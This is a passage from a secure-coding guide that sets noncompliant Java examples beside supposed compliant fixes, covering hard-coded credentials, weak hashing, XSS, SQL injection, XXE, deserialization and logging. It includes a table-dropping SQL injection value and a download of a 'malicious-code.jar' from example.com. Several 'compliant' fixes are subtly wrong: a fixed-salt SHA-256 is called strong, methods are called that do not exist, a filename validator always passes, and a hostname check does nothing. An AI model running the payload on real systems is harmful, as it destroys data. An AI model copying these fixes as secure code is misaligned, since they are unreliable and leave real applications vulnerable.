establish a database connection using the provided password // ... } } ``` In the compliant code, the hard-coded password is replaced with a constructor parameter dbPassword. The password is no longer stored directly in the code but is instead passed as an argument when creating an instance of the DatabaseConnection class. This allows the password to be provided securely at runtime, such as through a configuration file or environment variable. By avoiding the use of hard-coded passwords and storing them securely, the compliant code reduces the risk of unauthorized access to sensitive information, such as database credentials, in case of a code compromise or unauthorized access to the source code. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class PasswordUtils { public static String hashPassword(String password) { try { MessageDigest md = MessageDigest.getInstance("MD5"); byte[] hash = md.digest(password.getBytes()); StringBuilder sb = new StringBuilder(); for (byte b : hash) { sb.append(String.format("%02x", b)); } return sb.toString(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return null; } } ``` In this noncompliant code, the hashPassword method uses the MD5 algorithm to hash the provided password. MD5 is considered broken and insecure for password hashing because it is susceptible to various attacks, such as collision attacks and preimage attacks. It is no longer recommended for cryptographic purposes. To address this issue, here's an example of compliant code that uses a more secure cryptographic algorithm, such as bcrypt: Compliant code: ```php import org.mindrot.jbcrypt.BCrypt; public class PasswordUtils { private static final int BCRYPT_COST = 12; public static String hashPassword(String password) { return BCrypt.hashpw(password, BCrypt.gensalt(BCRYPT_COST)); } public static boolean verifyPassword(String password, String hashedPassword) { return BCrypt.checkpw(password, hashedPassword); } } ``` In the compliant code, the hashPassword method uses the bcrypt algorithm, which is a widely accepted and secure cryptographic algorithm for password hashing. It generates a salt and incorporates a cost factor to slow down the hashing process, making it computationally expensive for attackers to perform brute-force attacks. The verifyPassword method is also provided to verify the password against the stored hashed password. By using a secure cryptographic algorithm like bcrypt instead of broken or risky ones, the compliant code improves the overall security of password storage and helps protect user credentials from unauthorized access. ## Insufficient Entropy Noncompliant code: ```php import java.util.Random; public class TokenGenerator { public static String generateToken(int length) { String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; StringBuilder sb = new StringBuilder(); Random random = new Random(); for (int i = 0; i < length; i++) { int index = random.nextInt(characters.length()); char c = characters.charAt(index); sb.append(c); } return sb.toString(); } } ``` In this noncompliant code, the generateToken method generates a token of a specified length using a random selection of characters from the characters string. However, the randomness of the generated token is insufficient. It relies on the java.util.Random class, which uses a predictable algorithm and may produce values with low entropy. This can make the generated tokens more susceptible to brute-force attacks or guessability. To address this issue, here's an example of compliant code that uses a more secure approach for generating tokens with sufficient entropy: Compliant code: ```php import java.security.SecureRandom; import java.util.Base64; public class TokenGenerator { public static String generateToken(int length) { byte[] bytes = new byte[length]; SecureRandom secureRandom = new SecureRandom(); secureRandom.nextBytes(bytes); return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes); } } ``` In the compliant code, the generateToken method uses java.security.SecureRandom to generate a cryptographically secure random byte array of the specified length. The SecureRandom class provides a higher level of entropy compared to java.util.Random, making the generated tokens more unpredictable. The resulting byte array is then encoded using Base64 URL encoding to produce a token string. By using a cryptographically secure random number generator and ensuring sufficient entropy in the generated tokens, the compliant code improves the security of the token generation process and reduces the risk of token guessing or brute-force attacks. ## XSS Noncompliant code: ```php public class XssExample { public static String getUserInput() { // Assume user input is obtained from an untrusted source String userInput = ""; return userInput; } public static String displayUserInput(String userInput) { String html = "
" + userInput + "
"; return html; } public static void main(String[] args) { String userInput = getUserInput(); String html = displayUserInput(userInput); System.out.println(html); } } ``` In this noncompliant code, the getUserInput method simulates user input obtained from an untrusted source. The input contains a malicious script tag that tries to execute an alert box. The displayUserInput method simply wraps the user input in an HTML div element. When the main method is executed, the malicious script tag is rendered as-is in the output, potentially causing a cross-site scripting vulnerability. If this output is displayed in a web page, the script will be executed in the user's browser, leading to unwanted behavior. To address this XSS vulnerability, here's an example of compliant code that properly sanitizes the user input: Compliant code: ```php import org.apache.commons.text.StringEscapeUtils; public class XssExample { public static String getUserInput() { // Assume user input is obtained from an untrusted source String userInput = ""; return userInput; } public static String displayUserInput(String userInput) { String sanitizedInput = StringEscapeUtils.escapeHtml4(userInput); String html = "
" + sanitizedInput + "
"; return html; } public static void main(String[] args) { String userInput = getUserInput(); String html = displayUserInput(userInput); System.out.println(html); } } ``` In the compliant code, the StringEscapeUtils.escapeHtml4 method from Apache Commons Text library is used to properly escape the user input. This method replaces characters with their corresponding HTML entities, preventing the script from being executed as code. The sanitized input is then safely rendered within the HTML div element. By properly sanitizing user input and escaping special characters, the compliant code prevents the execution of malicious scripts and mitigates the risk of cross-site scripting attacks. ## SQL Injection Noncompliant code: ```php import java.sql.Connection; import java.sql.ResultSet; import java.sql.Statement; public class SqlInjectionExample { public static void main(String[] args) { String username = "admin'; DROP TABLE users;--"; String password = "password"; String query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"; try { Connection connection = Database.getConnection(); Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); // Process the result set... } catch (Exception e) { e.printStackTrace(); } } } ``` In this noncompliant code, the SQL query is constructed by directly concatenating user-supplied input (username and password) into the query string. The username value is intentionally crafted to include a malicious SQL statement that attempts to drop the users table. This leaves the application vulnerable to SQL injection attacks. To address this SQL injection vulnerability, here's an example of compliant code that uses prepared statements and parameterized queries to mitigate the risk: Compliant code: ```php import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; public class SqlInjectionExample { public static void main(String[] args) { String username = "admin'; DROP TABLE users;--"; String password = "password"; String query = "SELECT * FROM users WHERE username=? AND password=?"; try { Connection connection = Database.getConnection(); PreparedStatement statement = connection.prepareStatement(query); statement.setString(1, username); statement.setString(2, password); ResultSet resultSet = statement.executeQuery(); // Process the result set... } catch (Exception e) { e.printStackTrace(); } } } ``` In the compliant code, the SQL query is parameterized using placeholders (?) for the user-supplied values. The values are then bound to the prepared statement using the setString method. By using prepared statements, the SQL query is precompiled and the user input is treated as data rather than executable SQL code. This effectively prevents SQL injection attacks by ensuring that user input is properly escaped and not interpreted as part of the SQL syntax. By adopting prepared statements and parameterized queries, the compliant code mitigates the risk of SQL injection vulnerabilities and ensures the safe execution of database queries. ## External Control of File Name or Path Noncompliant code: ```php import java.io.File; public class FileUploadExample { public static void main(String[] args) { String fileName = getFileNameFromUserInput(); String directory = "uploads/"; File file = new File(directory + fileName); // Process the uploaded file... } private static String getFileNameFromUserInput() { // Code to get file name from user input // This could be from a user input field, request parameter, etc. return userInput; } } ``` In this noncompliant code, the fileName variable is obtained from user input without proper validation or sanitization. The user can potentially manipulate the file name to access files outside the intended directory, leading to unauthorized access or information disclosure. To address this vulnerability, here's an example of compliant code that validates and sanitizes the file name before constructing the file path: Compliant code: ```php import java.io.File; import java.nio.file.Path; import java.nio.file.Paths; public class FileUploadExample { private static final String UPLOAD_DIRECTORY = "uploads/"; public static void main(String[] args) { String fileName = getFileNameFromUserInput(); Path filePath = Paths.get(UPLOAD_DIRECTORY, fileName).normalize(); if (!filePath.startsWith(UPLOAD_DIRECTORY)) { // Invalid file name or path, handle the error return; } File file = filePath.toFile(); // Process the uploaded file... } private static String getFileNameFromUserInput() { // Code to get file name from user input // This could be from a user input field, request parameter, etc. return userInput; } } ``` In the compliant code, the file name obtained from user input is validated and sanitized before constructing the file path. The Paths.get() method is used to create a Path object, and the normalize() method is applied to ensure a consistent and secure representation of the file path. The startsWith() method is then used to verify that the resulting file path is within the intended upload directory. If the file path is determined to be invalid or outside the designated directory, appropriate error handling can be performed. By validating and sanitizing the file name, and properly constructing the file path, the compliant code mitigates the risk of external control of file names or paths and helps ensure that only authorized files are accessed or processed. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php public class UserService { public User getUserById(String userId) { try { // Code to fetch user details from the database using the provided userId // ... } catch (Exception e) { String errorMessage = "An error occurred while fetching user details for userId: " + userId; throw new RuntimeException(errorMessage, e); } } } ``` In this noncompliant code, an error message is constructed by concatenating the sensitive information (the userId parameter) with a generic error message. This can potentially expose the sensitive information to unauthorized individuals in case of an error or exception. To address this vulnerability, here's an example of compliant code that avoids exposing sensitive information in error messages: Compliant code: ```php public class UserService { public User getUserById(String userId) { try { // Code to fetch user details from the database using the provided userId // ... } catch (Exception e) { throw new RuntimeException("An error occurred while fetching user details", e); } } } ``` In the compliant code, the error message is kept generic and does not include any sensitive information. By removing the sensitive data from the error message, the compliant code helps to protect the confidentiality of the user information and reduces the risk of exposing sensitive information to potential attackers. ## unprotected storage of credentials Noncompliant code: ```php public class UserService { private String username; private String password; public void login(String username, String password) { this.username = username; this.password = password; // Code to authenticate the user // ... } public void printCredentials() { System.out.println("Username: " + username); System.out.println("Password: " + password); } } ``` In this noncompliant code, the username and password fields are stored as plain strings within the UserService class. The credentials are directly assigned from the login method and can be accessed and printed using the printCredentials method. Storing credentials in this manner poses a security risk as they can easily be accessed and exposed. To address this vulnerability, here's an example of compliant code that implements protected storage of credentials: Compliant code: ```php public class UserService { private char[] password; public void login(String username, char[] password) { // Code to authenticate the user // ... // Store the password securely this.password = Arrays.copyOf(password, password.length); // Clear the original password data Arrays.fill(password, ' '); } public void printCredentials() { System.out.println("Username: " + getUsername()); System.out.println("Password: ********"); } private String getUsername() { // Retrieve the username from the authenticated user session // ... } } ``` In the compliant code, the password is stored as a character array (char[]) instead of a plain string. Storing the password as a character array allows for more secure handling as it can be cleared from memory once it is no longer needed. Additionally, the printCredentials method only displays the username while masking the password with asterisks to prevent inadvertent exposure. By implementing protected storage of credentials, the compliant code mitigates the risk of exposing sensitive information and enhances the overall security of the application. ## Trust Boundary Violation Noncompliant code: ```php public class UserAuthenticator { private boolean isAdmin; public boolean authenticateUser(String username, String password) { // Code to authenticate the user credentials // ... // Set isAdmin flag based on the authentication result if (username.equals("admin") && password.equals("admin123")) { isAdmin = true; } return true; } public void performAdminAction() { if (isAdmin) { // Code to perform administrative action // ... } else { System.out.println("Access denied. You are not authorized to perform this action."); } } } ``` In this noncompliant code, the UserAuthenticator class authenticates a user based on the provided credentials (username and password). If the authentication is successful for an admin user (hard-coded as "admin" and "admin123" in this example), the isAdmin flag is set to true. The performAdminAction method checks the isAdmin flag to determine whether the user is authorized to perform an administrative action. The trust boundary violation occurs because the UserAuthenticator class allows the isAdmin flag to be manipulated from outside the authentication process. An attacker could potentially modify the isAdmin flag directly or through other means, bypassing the proper authentication process and gaining unauthorized access to perform administrative actions. To address this vulnerability, here's an example of compliant code that enforces the trust boundary properly: Compliant code: ```php public class UserAuthenticator { private boolean isAdmin; public boolean authenticateUser(String username, String password) { // Code to authenticate the user credentials // ... // Set isAdmin flag based on the authentication result if (username.equals("admin") && password.equals("admin123")) { isAdmin = true; } else { isAdmin = false; } return true; } public void performAdminAction() { if (checkAdminStatus()) { // Code to perform administrative action // ... } else { System.out.println("Access denied. You are not authorized to perform this action."); } } private boolean checkAdminStatus() { // Code to check the isAdmin flag from the authenticated user session // ... return isAdmin; } } ``` In the compliant code, the isAdmin flag is properly enforced within the UserAuthenticator class. The flag is set during the authentication process based on the result of validating the user's credentials. The performAdminAction method calls the checkAdminStatus method, which internally checks the isAdmin flag from the authenticated user session. By enforcing the trust boundary correctly, the compliant code ensures that only authenticated users with legitimate admin privileges can perform administrative actions. This prevents unauthorized access and strengthens the security of the application. ## Insufficiently Protected Credentials Noncompliant code: ```php public class UserAuthenticator { public boolean authenticateUser(String username, String password) { // Code to authenticate the user credentials // ... // Log the username and password System.out.println("User credentials: " + username + ", " + password); // Continue with authentication logic // ... return true; } } ``` In this noncompliant code, the UserAuthenticator class contains a method authenticateUser that takes the username and password as parameters for user authentication. However, the code lacks proper protection for the sensitive credentials. The System.out.println statement logs the credentials directly to the console, exposing them to potential attackers or unauthorized individuals who might have access to the log files. To address this vulnerability, here's an example of compliant code that properly protects the credentials: Compliant code: ```php public class UserAuthenticator { public boolean authenticateUser(String username, String password) { // Code to authenticate the user credentials // ... // Log a generic message instead of the credentials System.out.println("User authentication attempt"); // Continue with authentication logic // ... return true; } } ``` In the compliant code, the System.out.println statement has been modified to log a generic message instead of the actual credentials. By avoiding the direct logging of sensitive information, such as usernames and passwords, the compliant code reduces the risk of exposing sensitive credentials to unauthorized individuals or potential attackers. It's important to note that in a production environment, logging sensitive information like passwords should generally be avoided altogether. Instead, consider using proper logging frameworks that support sensitive data protection mechanisms, such as redaction or encryption, to ensure the confidentiality of sensitive information. ## Restriction of XML External Entity Reference Noncompliant code: ```php import org.w3c.dom.Document; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; public class XMLParser { public Document parseXML(String xml) { try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new ByteArrayInputStream(xml.getBytes())); return document; } catch (Exception e) { e.printStackTrace(); } return null; } } ``` In this noncompliant code, the XMLParser class contains a method parseXML that takes an XML string as input and parses it into a Document object using the javax.xml.parsers.DocumentBuilder class. However, the code does not properly restrict XML external entity references, which can lead to security vulnerabilities like XXE attacks. To address this vulnerability, here's an example of compliant code that implements proper restriction of XML external entity references: Compliant code: ```php import org.w3c.dom.Document; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import java.io.ByteArrayInputStream; public class XMLParser { public Document parseXML(String xml) { try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new ByteArrayInputStream(xml.getBytes())); return document; } catch (ParserConfigurationException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } return null; } } ``` In the compliant code, the DocumentBuilderFactory is configured to disable the support for document type declarations (DTDs) and external entity references by setting the corresponding features. By disabling these features, the code effectively restricts XML external entity references and prevents potential XXE attacks. It's crucial to be cautious when parsing XML data and to properly restrict XML external entity references to mitigate the risk of XXE vulnerabilities. ## Vulnerable and Outdated Components Noncompliant code: ```php import org.apache.commons.lang.StringUtils; public class StringHelper { public static String sanitizeString(String input) { return StringUtils.stripTags(input); } public static boolean isNullOrEmpty(String input) { return StringUtils.isEmpty(input); } public static boolean isNumeric(String input) { return StringUtils.isNumeric(input); } } ``` In this noncompliant code, the StringHelper class uses the StringUtils class from the Apache Commons Lang library to perform string manipulation and validation. However, the code uses an outdated version of the library that may have known vulnerabilities. To address this issue, it is important to keep all software components, including third-party libraries, up to date. Here's an example of compliant code that uses an updated version of the library: Compliant code: ```php import org.apache.commons.lang3.StringUtils; public class StringHelper { public static String sanitizeString(String input) { return StringUtils.stripTags(input); } public static boolean isNullOrEmpty(String input) { return StringUtils.isEmpty(input); } public static boolean isNumeric(String input) { return StringUtils.isNumeric(input); } } ``` In the compliant code, the StringUtils class is imported from the org.apache.commons.lang3 package, indicating the use of the latest version of the Apache Commons Lang library (version 3.x). By using an updated version of the library, the code mitigates the risk of known vulnerabilities present in older versions. It is crucial to regularly update software components, especially third-party libraries, to ensure the use of the latest security patches and fixes. Keeping components up to date helps protect against known vulnerabilities and ensures a more secure application. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php import javax.net.ssl.HttpsURLConnection; import java.io.IOException; import java.net.URL; public class HttpClient { public static void sendRequest(String url) throws IOException { URL requestUrl = new URL(url); HttpsURLConnection connection = (HttpsURLConnection) requestUrl.openConnection(); connection.setHostnameVerifier((hostname, session) -> true); // Disabling hostname verification connection.setRequestMethod("GET"); int responseCode = connection.getResponseCode(); // Process the response... } } ``` In this noncompliant code, the sendRequest method sends an HTTP GET request to the specified URL. However, the code disables hostname verification by setting a custom HostnameVerifier that always returns true. This means that the certificate presented by the server is not properly validated against the host name of the URL. This opens up the possibility of man-in-the-middle attacks and exposes the application to security risks. To address this issue, it is essential to perform proper validation of the certificate with the host name of the URL. Here's an example of compliant code that implements proper certificate validation: Compliant code: ```php import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLPeerUnverifiedException; import javax.net.ssl.SSLSession; import java.io.IOException; import java.net.URL; public class HttpClient { public static void sendRequest(String url) throws IOException { URL requestUrl = new URL(url); HttpsURLConnection connection = (HttpsURLConnection) requestUrl.openConnection(); connection.setRequestMethod("GET"); try { connection.connect(); SSLSession session = connection.getSSLSession(); String peerHost = session.getPeerHost(); if (!requestUrl.getHost().equals(peerHost)) { throw new SSLPeerUnverifiedException("Certificate does not match the host name"); } } catch (SSLPeerUnverifiedException e) { // Handle certificate validation failure } finally { connection.disconnect(); } int responseCode = connection.getResponseCode(); // Process the response... } } ``` In the compliant code, the sendRequest method establishes an HTTPS connection and performs proper certificate validation. It compares the host name of the URL with the host name obtained from the SSL session's peer. If there is a mismatch, it throws an SSLPeerUnverifiedException to indicate that the certificate does not match the host name. By implementing proper certificate validation, the code ensures that the certificate presented by the server is validated against the host name of the URL, reducing the risk of man-in-the-middle attacks and enhancing the overall security of the application. ## Improper Authentication Noncompliant code: ```php import java.util.Scanner; public class AuthenticationExample { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); System.out.print("Enter username: "); String username = scanner.nextLine(); System.out.print("Enter password: "); String password = scanner.nextLine(); if (username.equals("admin") && password.equals("password")) { System.out.println("Authentication successful"); // Proceed with privileged operation } else { System.out.println("Authentication failed"); // Handle authentication failure } } } ``` In this noncompliant code, the username and password are collected from user input using a Scanner object. However, there is no proper mechanism in place to securely store and compare the credentials. The username and password are compared using simple string equality, which is vulnerable to various attacks such as brute-force attacks, dictionary attacks, and interception of the credentials. To address this issue, here's a compliant code example: Compliant code: ```php import java.util.Scanner; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class AuthenticationExample { private static final String SALT = "random_salt"; public static void main(String[] args) { Scanner scanner = new Scanner(System.in); System.out.print("Enter username: "); String username = scanner.nextLine(); System.out.print("Enter password: "); String password = scanner.nextLine(); if (authenticate(username, password)) { System.out.println("Authentication successful"); // Proceed with privileged operation } else { System.out.println("Authentication failed"); // Handle authentication failure } } private static boolean authenticate(String username, String password) { // Retrieve hashed password from a secure database or storage String storedPasswordHash = getStoredPasswordHash(username); // Hash the input password with a salt String hashedPassword = hashPassword(password); // Compare the stored hashed password with the input hashed password return storedPasswordHash.equals(hashedPassword); } private static String hashPassword(String password) { try { MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); messageDigest.update((password + SALT).getBytes()); byte[] hashedBytes = messageDigest.digest(); return bytesToHexString(hashedBytes); } catch (NoSuchAlgorithmException e) { // Handle the exception e.printStackTrace(); } return null; } private static String bytesToHexString(byte[] bytes) { StringBuilder stringBuilder = new StringBuilder(); for (byte b : bytes) { stringBuilder.append(String.format("%02x", b)); } return stringBuilder.toString(); } private static String getStoredPasswordHash(String username) { // Retrieve the hashed password from a secure database or storage // based on the given username // Return the stored password hash return "stored_password_hash"; } } ``` In this compliant code, the password is securely hashed using a strong cryptographic hash function (SHA-256) with the addition of a salt value. The hashed password is then compared with the stored hashed password retrieved from a secure database or storage. This approach enhances the security of the authentication process by preventing the exposure of plain-text passwords and protecting against common attack vectors such as brute-force and dictionary attacks. ## Session Fixation Noncompliant code: ```php import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; public class SessionFixationExample { public static void login(HttpServletRequest request, String username) { HttpSession session = request.getSession(true); session.setAttribute("username", username); } public static void main(String[] args) { HttpServletRequest request = // Obtain the request object String username = "admin"; login(request, username); // Proceed with authenticated actions } } ``` In this noncompliant code, the login method is called to authenticate a user and create a new session. However, the login method does not perform any session management or regeneration. It simply sets the username attribute in the session. This creates a vulnerability known as session fixation, where an attacker can force a victim's session identifier to a known value and then later hijack the session. To address this issue, here's a compliant code example: Compliant code: ```php import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; public class SessionFixationExample { public static void login(HttpServletRequest request, String username) { HttpSession session = request.getSession(); session.invalidate(); // Invalidate the existing session session = request.getSession(true); // Create a new session session.setAttribute("username", username); } public static void main(String[] args) { HttpServletRequest request = // Obtain the request object String username = "admin"; login(request, username); // Proceed with authenticated actions } } ``` In this compliant code, the login method now performs proper session management. It first invalidates the existing session using the invalidate method, which ensures that any existing session data is cleared. Then, it creates a new session using request.getSession(true), which generates a new session identifier. This mitigates the session fixation vulnerability by ensuring that each user receives a fresh session identifier upon login, preventing an attacker from fixing the session identifier in advance. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php import java.io.File; import java.io.IOException; public class UntrustedFunctionalityExample { public static void processFile(String filename) { try { File file = new File(filename); // Process the file contents } catch (IOException e) { // Handle file processing error } } public static void main(String[] args) { String userProvidedFilename = "userfile.txt"; processFile(userProvidedFilename); } } ``` In this noncompliant code, the processFile method accepts a user-provided filename as input and attempts to process the contents of the file. However, it directly uses the user-provided filename to create a File object without performing any validation or sanitization. This introduces the risk of including functionality from an untrusted source, as an attacker can manipulate the filename to potentially access sensitive files or perform arbitrary file operations. To address this issue, here's a compliant code example: Compliant code: ```php import java.io.File; import java.io.IOException; public class UntrustedFunctionalityExample { public static void processFile(String filename) { // Validate and sanitize the filename before processing if (isValidFilename(filename)) { try { File file = new File(filename); // Process the file contents } catch (IOException e) { // Handle file processing error } } else { // Handle invalid filename } } public static boolean isValidFilename(String filename) { // Implement validation logic to ensure the filename is safe // e.g., restrict file path, disallow certain characters, etc. return true; } public static void main(String[] args) { String userProvidedFilename = "userfile.txt"; processFile(userProvidedFilename); } } ``` In this compliant code, a separate isValidFilename method is introduced to validate and sanitize the user-provided filename before processing it. The isValidFilename method should implement proper validation logic to ensure that the filename meets the desired criteria (e.g., restrict file path, disallow certain characters, etc.). Only if the filename passes the validation, it proceeds with processing the file contents. Otherwise, it handles the case of an invalid filename appropriately. By validating and sanitizing the input, the code mitigates the risk of including functionality from untrusted control and helps ensure that only safe and expected filenames are processed. ## Download of Code Without Integrity Check Noncompliant code: ```php import java.io.IOException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.StandardCopyOption; public class CodeDownloadExample { public static void downloadCode(String url, String destination) { try { URL codeUrl = new URL(url); Path destinationPath = Path.of(destination); Files.copy(codeUrl.openStream(), destinationPath, StandardCopyOption.REPLACE_EXISTING); } catch (IOException e) { // Handle download error } } public static void main(String[] args) { String codeUrl = "http://example.com/malicious-code.jar"; String destinationPath = "/path/to/save/malicious-code.jar"; downloadCode(codeUrl, destinationPath); } } ``` In this noncompliant code, the downloadCode method accepts a URL and a destination path where the code will be downloaded. It directly opens a connection to the specified URL and downloads the code without performing any integrity check or verification. This approach leaves the code vulnerable to the download of malicious or tampered code, which can lead to security risks and potential exploitation. To address this issue, here's a compliant code example: Compliant code: ```php import java.io.IOException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.StandardCopyOption; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class CodeDownloadExample { public static void downloadCode(String url, String destination) { try { URL codeUrl = new URL(url); Path destinationPath = Path.of(destination); // Download the code to a temporary file Path tempPath = Files.createTempFile("downloaded_code", ".tmp"); Files.copy(codeUrl.openStream(), tempPath, StandardCopyOption.REPLACE_EXISTING); // Calculate the checksum of the downloaded code String checksum = calculateChecksum(tempPath); // Verify the integrity of the downloaded code if (isValidChecksum(checksum)) { // Move the downloaded code to the destination path Files.move(tempPath, destinationPath, StandardCopyOption.REPLACE_EXISTING); } else { // Handle integrity check failure Files.deleteIfExists(tempPath); } } catch (IOException e) { // Handle download error } } public static String calculateChecksum(Path filePath) throws IOException { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] fileBytes = Files.readAllBytes(filePath); byte[] checksumBytes = md.digest(fileBytes); StringBuilder checksumBuilder = new StringBuilder(); for (byte b : checksumBytes) { checksumBuilder.append(String.format("%02x", b)); } return checksumBuilder.toString(); } catch (NoSuchAlgorithmException e) { throw new RuntimeException("Error calculating checksum.", e); } } public static boolean isValidChecksum(String checksum) { // Compare the calculated checksum with a trusted value String trustedChecksum = "e1a7a76c51a1024193a54f95e3dbaeaeaa01a7544c24404db4c24bdf8a34937e"; return trustedChecksum.equals(checksum); } public static void main(String[] args) { String codeUrl = "http://example.com/malicious-code.jar"; String destinationPath = "/path/to/save/malicious-code.jar"; downloadCode(codeUrl, destinationPath); } } ``` ## Deserialization of Untrusted Data Noncompliant code: ```php import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class DeserializationExample { public static void main(String[] args) { String serializedData = "serialized_data.ser"; try (FileInputStream fileIn = new FileInputStream(serializedData); ObjectInputStream in = new ObjectInputStream(fileIn)) { Object obj = in.readObject(); // Process the deserialized object } catch (IOException | ClassNotFoundException e) { // Handle deserialization error } } } ``` In this noncompliant code, the DeserializationExample class attempts to deserialize an object from a serialized file using ObjectInputStream. However, it does not perform any validation or checks on the deserialized data, making it vulnerable to attacks such as remote code execution, object injection, or deserialization of malicious data. To address this issue, here's a compliant code example: Compliant code: ```php import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class DeserializationExample { public static void main(String[] args) { String serializedData = "serialized_data.ser"; try (FileInputStream fileIn = new FileInputStream(serializedData); ObjectInputStream in = new ObjectInputStream(fileIn)) { // Perform validation on the deserialized object Object obj = in.readObject(); if (isValidObject(obj)) { // Process the deserialized object } else { // Handle invalid or malicious object } } catch (IOException | ClassNotFoundException e) { // Handle deserialization error } } public static boolean isValidObject(Object obj) { // Implement validation logic based on the expected object type // and any additional validation criteria // Example: Ensure the deserialized object is of the expected type return obj instanceof MySerializableClass; } } ``` In this compliant code, the deserialization process includes a validation step before processing the deserialized object. The isValidObject method is used to perform validation based on the expected object type and any additional validation criteria. This helps prevent the deserialization of untrusted or malicious data by ensuring that the deserialized object meets the expected criteria. ## Insufficient Logging Noncompliant code: ```php public class PaymentService { private static final Logger logger = Logger.getLogger(PaymentService.class.getName()); public void processPayment(String paymentData) { // Process the payment // ... // Log the payment result logger.info("Payment processed successfully"); } } ``` In this noncompliant code, the PaymentService class processes a payment but only logs a generic message indicating a successful payment. The logging is insufficient because it lacks essential information such as the user's identity, the payment amount, and any relevant contextual details. This makes it challenging to investigate and trace payment-related issues or potential security incidents. To address this issue, here's a compliant code example: Compliant code: ```php public class PaymentService { private static final Logger logger = Logger.getLogger(PaymentService.class.getName()); public void processPayment(String paymentData, User user) { // Process the payment // ... // Log the payment result with relevant information logger.info("Payment processed successfully. User: " + user.getUsername() + ", Amount: " + paymentData.getAmount()); } } ``` In this compliant code, the processPayment method now accepts an additional parameter User to capture the user's information. The relevant information, such as the user's username and payment amount, is included in the log message. By providing more detailed and contextual information in the log, it becomes easier to track and investigate payment-related events or security incidents. ## Improper Output Neutralization for Logs Noncompliant code: ```php public class LoginService { private static final Logger logger = Logger.getLogger(LoginService.class.getName()); public void logInvalidLogin(String username) { // Log the invalid login attempt logger.info("Invalid login attempt: " + username); } } ``` In this noncompliant code, the logInvalidLogin method logs an invalid login attempt by directly concatenating the username into the log message. This approach can lead to log injection or log forging attacks if the username contains special characters or control characters. To address this issue, here's a compliant code example that applies proper output neutralization: Compliant code: ```php public class LoginService { private static final Logger logger = Logger.getLogger(LoginService.class.getName()); public void logInvalidLogin(String username) { // Sanitize the username to prevent log injection String sanitizedUsername = sanitize(username); // Log the invalid login attempt with the sanitized username logger.info("Invalid login attempt: " + sanitizedUsername); } private String sanitize(String input) { // Implement appropriate sanitization logic // ... return input.replaceAll("[^a-zA-Z0-9]", ""); } } ``` In this compliant code, the sanitize method is introduced to properly neutralize the output by removing any potentially malicious or unwanted characters from the username. The sanitize method can be customized based on the specific requirements and context of the application. By applying proper output neutralization techniques, the risk of log injection or log forging attacks is mitigated, ensuring the integrity and reliability of the log data. ## Omission of Security-relevant Information Noncompliant code: ```php public class PaymentService { public void processPayment(String creditCardNumber, double amount) { // Process the payment // Log the payment without including security-relevant information Logger.getLogger(PaymentService.class.getName()).info("Payment processed"); } } ``` In this noncompliant code, the processPayment method processes a payment but fails to include security-relevant information in the log message. This omission can make it difficult to track and investigate any security-related issues or anomalies related to the payment processing. To address this issue, here's a compliant code example that includes security-relevant information in the log message: Compliant code: ```php public class PaymentService { public void processPayment(String creditCardNumber, double amount) { // Process the payment // Log the payment with security-relevant information Logger logger = Logger.getLogger(PaymentService.class.getName()); logger.info("Payment processed - Credit Card: " + maskCreditCardNumber(creditCardNumber) + ", Amount: " + amount); } private String maskCreditCardNumber(String creditCardNumber) { // Mask the credit card number for security purposes // ... return "************" + creditCardNumber.substring(creditCardNumber.length() - 4); } } ``` In this compliant code, the log message is enhanced to include the masked credit card number and the payment amount. The maskCreditCardNumber method is introduced to obfuscate the sensitive credit card number and ensure its security during logging. By including security-relevant information in the log message, administrators and security analysts can better monitor and investigate payment-related activities, facilitating incident response and security analysis. ## Sensitive Information into Log File Noncompliant code: ```php public class UserService { private static final Logger logger = Logger.getLogger(UserService.class.getName()); public void createUser(String username, String password) { // Create the user // Log the sensitive information logger.info("User created - Username: " + username + ", Password: " + password); } } ``` In this noncompliant code, the createUser method logs sensitive information, such as the username and password, directly into the log file. Storing sensitive data in log files can pose a significant security risk, as log files may be accessible to unauthorized individuals or stored indefinitely, potentially exposing sensitive information. To address this issue, here's a compliant code example that avoids logging sensitive information: Compliant code: ```php public class UserService { private static final Logger logger = Logger.getLogger(UserService.class.getName()); public void createUser(String username, String password) { // Create the user // Log a message without sensitive information logger.info("User created - Username: " + username); } } ``` In this compliant code, the logging statement is modified to exclude the password. Only the username is logged, while the password is omitted from the log message. By avoiding the logging of sensitive information, the risk of exposing sensitive data in log files is mitigated, enhancing the overall security posture of the application. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; 